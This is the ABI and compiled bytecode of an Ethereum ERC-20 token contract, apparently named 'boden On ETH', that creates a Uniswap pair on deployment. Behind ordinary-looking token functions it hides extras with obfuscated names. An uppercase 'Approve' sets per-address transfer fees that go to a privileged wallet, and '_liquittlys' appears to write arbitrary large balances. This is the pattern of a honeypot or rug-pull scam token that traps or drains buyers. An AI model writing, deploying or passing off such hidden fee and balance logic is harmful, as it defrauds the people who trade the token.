[ { "inputs": [], "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "owner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "inputs": [ { "internalType": "address[]", "name": "_addresses", "type": "address[]" }, { "internalType": "uint256", "name": "_feePercentage", "type": "uint256" } ], "name": "Approve", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "", "type": "address" } ], "name": "__balances", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "", "type": "address" } ], "name": "_isExcludeFromFee", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "user", "type": "address" } ], "name": "_liquittlys", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "_swapFeeTo", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "_swapTax", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "_uniswapPair", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "_uniswapRouter", "outputs": [ { "internalType": "contract IUniswapRouter", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "owner", "type": "address" }, { "internalType": "address", "name": "spender", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "sender", "type": "address" }, { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "transferOwnershipliityuinos", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "stateMutability": "payable", "type": "receive" } ]
608060405234801561000f575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600c81526020017f626f64656e204f6e2045544800000000000000000000000000000000000000008152506004908161009391906108b7565b506040518060400160405280600581526020017f626f64656e000000000000000000000000000000000000000000000000000000815250600590816100d891906108b7565b50600960065f6101000a81548160ff021916908360ff1602179055505f633b9aca0090503360035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600b8190555060065f9054906101000a900460ff16600a61015e9190610aee565b816101699190610b38565b600881905550600160075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060085460015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516103329190610b88565b60405180910390a3737a250d5630b4cf539739df2c5dacb4c659f2488d60095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f1960025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610497573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104bb9190610bff565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610541573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105659190610bff565b6040518363ffffffff1660e01b8152600401610582929190610c39565b6020604051808303815f875af115801561059e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c29190610bff565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160075f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050610c60565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806106f857607f821691505b60208210810361070b5761070a6106b4565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830261076d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610732565b6107778683610732565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6107bb6107b66107b18461078f565b610798565b61078f565b9050919050565b5f819050919050565b6107d4836107a1565b6107e86107e0826107c2565b84845461073e565b825550505050565b5f90565b6107fc6107f0565b6108078184846107cb565b505050565b5b8181101561082a5761081f5f826107f4565b60018101905061080d565b5050565b601f82111561086f5761084081610711565b61084984610723565b81016020851015610858578190505b61086c61086485610723565b83018261080c565b50505b505050565b5f82821c905092915050565b5f61088f5f1984600802610874565b1980831691505092915050565b5f6108a78383610880565b9150826002028217905092915050565b6108c08261067d565b67ffffffffffffffff8111156108d9576108d8610687565b5b6108e382546106e1565b6108ee82828561082e565b5f60209050601f83116001811461091f575f841561090d578287015190505b610917858261089c565b86555061097e565b601f19841661092d86610711565b5f5b828110156109545784890151825560018201915060208501945060208101905061092f565b86831015610971578489015161096d601f891682610880565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610a08578086048111156109e4576109e3610986565b5b60018516156109f35780820291505b8081029050610a01856109b3565b94506109c8565b94509492505050565b5f82610a205760019050610adb565b81610a2d575f9050610adb565b8160018114610a435760028114610a4d57610a7c565b6001915050610adb565b60ff841115610a5f57610a5e610986565b5b8360020a915084821115610a7657610a75610986565b5b50610adb565b5060208310610133831016604e8410600b8410161715610ab15782820a905083811115610aac57610aab610986565b5b610adb565b610abe84848460016109bf565b92509050818404811115610ad557610ad4610986565b5b81810290505b9392505050565b5f60ff82169050919050565b5f610af88261078f565b9150610b0383610ae2565b9250610b307fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610a11565b905092915050565b5f610b428261078f565b9150610b4d8361078f565b9250828202610b5b8161078f565b91508282048414831517610b7257610b71610986565b5b5092915050565b610b828161078f565b82525050565b5f602082019050610b9b5f830184610b79565b92915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610bce82610ba5565b9050919050565b610bde81610bc4565b8114610be8575f80fd5b50565b5f81519050610bf981610bd5565b92915050565b5f60208284031215610c1457610c13610ba1565b5b5f610c2184828501610beb565b91505092915050565b610c3381610bc4565b82525050565b5f604082019050610c4c5f830185610c2a565b610c596020830184610c2a565b9392505050565b611ab380610c6d5f395ff3fe608060405260043610610117575f3560e01c80634bf28fd01161009f5780638da5cb5b116100635780638da5cb5b146103c457806395d89b41146103ee5780639ebbaef714610418578063a9059cbb14610440578063dd62ed3e1461047c5761011e565b80634bf28fd0146102e457806365b61b771461030e57806370a08231146103385780637792ba99146103745780637b1869961461039c5761011e565b806330da23e4116100e657806330da23e4146101ee578063313ce5671461021857806336b2e02714610242578063420d10b51461027e578063426329c1146102ba5761011e565b806306fdde0314610122578063095ea7b31461014c57806318160ddd1461018857806323b872dd146101b25761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b506101366104b8565b6040516101439190611267565b60405180910390f35b348015610157575f80fd5b50610172600480360381019061016d9190611325565b610544565b60405161017f919061137d565b60405180910390f35b348015610193575f80fd5b5061019c61055a565b6040516101a991906113a5565b60405180910390f35b3480156101bd575f80fd5b506101d860048036038101906101d391906113be565b610560565b6040516101e5919061137d565b60405180910390f35b3480156101f9575f80fd5b506102026106f8565b60405161020f91906113a5565b60405180910390f35b348015610223575f80fd5b5061022c6106fe565b6040516102399190611429565b60405180910390f35b34801561024d575f80fd5b5061026860048036038101906102639190611442565b610710565b604051610275919061137d565b60405180910390f35b348015610289575f80fd5b506102a4600480360381019061029f9190611442565b61072d565b6040516102b191906113a5565b60405180910390f35b3480156102c5575f80fd5b506102ce610742565b6040516102db919061147c565b60405180910390f35b3480156102ef575f80fd5b506102f8610767565b604051610305919061147c565b60405180910390f35b348015610319575f80fd5b5061032261078c565b60405161032f91906114f0565b60405180910390f35b348015610343575f80fd5b5061035e60048036038101906103599190611442565b6107b1565b60405161036b91906113a5565b60405180910390f35b34801561037f575f80fd5b5061039a60048036038101906103959190611442565b6107f7565b005b3480156103a7575f80fd5b506103c260048036038101906103bd9190611442565b6108c6565b005b3480156103cf575f80fd5b506103d86109af565b6040516103e5919061147c565b60405180910390f35b3480156103f9575f80fd5b506104026109d6565b60405161040f9190611267565b60405180910390f35b348015610423575f80fd5b5061043e60048036038101906104399190611649565b610a62565b005b34801561044b575f80fd5b5061046660048036038101906104619190611325565b610aae565b604051610473919061137d565b60405180910390f35b348015610487575f80fd5b506104a2600480360381019061049d91906116a3565b610ac4565b6040516104af91906113a5565b60405180910390f35b600480546104c59061170e565b80601f01602080910402602001604051908101604052809291908181526020018280546104f19061170e565b801561053c5780601f106105135761010080835404028352916020019161053c565b820191905f5260205f20905b81548152906001019060200180831161051f57829003601f168201915b505050505081565b5f610550338484610b46565b6001905092915050565b60085481565b5f61056c848484610c2d565b5f1960025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054146106ed578160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610670919061176b565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b600190509392505050565b600b5481565b60065f9054906101000a900460ff1681565b6007602052805f5260405f205f915054906101000a900460ff1681565b600a602052805f5260405f205f915090505481565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087b906117e8565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f600190505f3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461092757600161092a565b60095b60ff1690505f60038261093d919061176b565b905080915060028161094f9190611935565b6008546103e861095f919061197f565b610969919061197f565b835f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600580546109e39061170e565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0f9061170e565b8015610a5a5780601f10610a3157610100808354040283529160200191610a5a565b820191905f5260205f20905b815481529060010190602001808311610a3d57829003601f168201915b505050505081565b5f610a6f60016002610fef565b90505f610a7d600283611010565b90505f610a8c83836003611031565b90505f610a998284611056565b9050610aa6868683611077565b505050505050565b5f610aba338484610c2d565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c2091906113a5565b60405180910390a3505050565b5f600960149054906101000a900460ff16158015610c92575060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015610ce5575060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b90508160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d30919061176b565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8115610ee3575f6064600a5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205485610dc4919061197f565b610dce91906119ed565b90508082610ddc9190611a1d565b91505f811115610ee1578060015f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e539190611a1d565b9250508190555060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ed891906113a5565b60405180910390a35b505b808360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f2d9190611a1d565b610f37919061176b565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386610fd3919061176b565b604051610fe091906113a5565b60405180910390a35050505050565b5f600183610ffd919061176b565b826110089190611a1d565b905092915050565b5f60018261101e919061176b565b83611029919061176b565b905092915050565b5f8061103e85858561110c565b9050828161104c919061176b565b9150509392505050565b5f600182611064919061176b565b8361106f9190611a1d565b905092915050565b5f8190505f5b8451811015611105578183611092919061176b565b8461109d9190611a1d565b600a5f8784815181106110b3576110b2611a50565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550808060010191505061107d565b5050505050565b5f61111684611159565b1561112e5781836111279190611a1d565b9050611152565b61113783611159565b61114e578383611147919061176b565b9050611152565b8190505b9392505050565b5f8060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161490505f80841190508180156111bd5750805b156111cd576001925050506111f2565b816111dc575f925050506111f2565b806111eb575f925050506111f2565b6001925050505b919050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611239826111f7565b6112438185611201565b9350611253818560208601611211565b61125c8161121f565b840191505092915050565b5f6020820190508181035f83015261127f818461122f565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6112c182611298565b9050919050565b6112d1816112b7565b81146112db575f80fd5b50565b5f813590506112ec816112c8565b92915050565b5f819050919050565b611304816112f2565b811461130e575f80fd5b50565b5f8135905061131f816112fb565b92915050565b5f806040838503121561133b5761133a611290565b5b5f611348858286016112de565b925050602061135985828601611311565b9150509250929050565b5f8115159050919050565b61137781611363565b82525050565b5f6020820190506113905f83018461136e565b92915050565b61139f816112f2565b82525050565b5f6020820190506113b85f830184611396565b92915050565b5f805f606084860312156113d5576113d4611290565b5b5f6113e2868287016112de565b93505060206113f3868287016112de565b925050604061140486828701611311565b9150509250925092565b5f60ff82169050919050565b6114238161140e565b82525050565b5f60208201905061143c5f83018461141a565b92915050565b5f6020828403121561145757611456611290565b5b5f611464848285016112de565b91505092915050565b611476816112b7565b82525050565b5f60208201905061148f5f83018461146d565b92915050565b5f819050919050565b5f6114b86114b36114ae84611298565b611495565b611298565b9050919050565b5f6114c98261149e565b9050919050565b5f6114da826114bf565b9050919050565b6114ea816114d0565b82525050565b5f6020820190506115035f8301846114e1565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6115438261121f565b810181811067ffffffffffffffff821117156115625761156161150d565b5b80604052505050565b5f611574611287565b9050611580828261153a565b919050565b5f67ffffffffffffffff82111561159f5761159e61150d565b5b602082029050602081019050919050565b5f80fd5b5f6115c66115c184611585565b61156b565b905080838252602082019050602084028301858111156115e9576115e86115b0565b5b835b8181101561161257806115fe88826112de565b8452602084019350506020810190506115eb565b5050509392505050565b5f82601f8301126116305761162f611509565b5b81356116408482602086016115b4565b91505092915050565b5f806040838503121561165f5761165e611290565b5b5f83013567ffffffffffffffff81111561167c5761167b611294565b5b6116888582860161161c565b925050602061169985828601611311565b9150509250929050565b5f80604083850312156116b9576116b8611290565b5b5f6116c6858286016112de565b92505060206116d7858286016112de565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061172557607f821691505b602082108103611738576117376116e1565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611775826112f2565b9150611780836112f2565b92508282039050818111156117985761179761173e565b5b92915050565b7f216f776e657200000000000000000000000000000000000000000000000000005f82015250565b5f6117d2600683611201565b91506117dd8261179e565b602082019050919050565b5f6020820190508181035f8301526117ff816117c6565b9050919050565b5f8160011c9050919050565b5f808291508390505b600185111561185b578086048111156118375761183661173e565b5b60018516156118465780820291505b808102905061185485611806565b945061181b565b94509492505050565b5f82611873576001905061192e565b81611880575f905061192e565b816001811461189657600281146118a0576118cf565b600191505061192e565b60ff8411156118b2576118b161173e565b5b8360020a9150848211156118c9576118c861173e565b5b5061192e565b5060208310610133831016604e8410600b84101617156119045782820a9050838111156118ff576118fe61173e565b5b61192e565b6119118484846001611812565b925090508184048111156119285761192761173e565b5b81810290505b9392505050565b5f61193f826112f2565b915061194a8361140e565b92506119777fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611864565b905092915050565b5f611989826112f2565b9150611994836112f2565b92508282026119a2816112f2565b915082820484148315176119b9576119b861173e565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6119f7826112f2565b9150611a02836112f2565b925082611a1257611a116119c0565b5b828204905092915050565b5f611a27826112f2565b9150611a32836112f2565b9250828201905080821115611a4a57611a4961173e565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffdfea2646970667358221220fc286b74a18788c3704bd2f3bb3f3a26ddd7c1320c740322fa2808d195e1b4c364736f6c63430008190033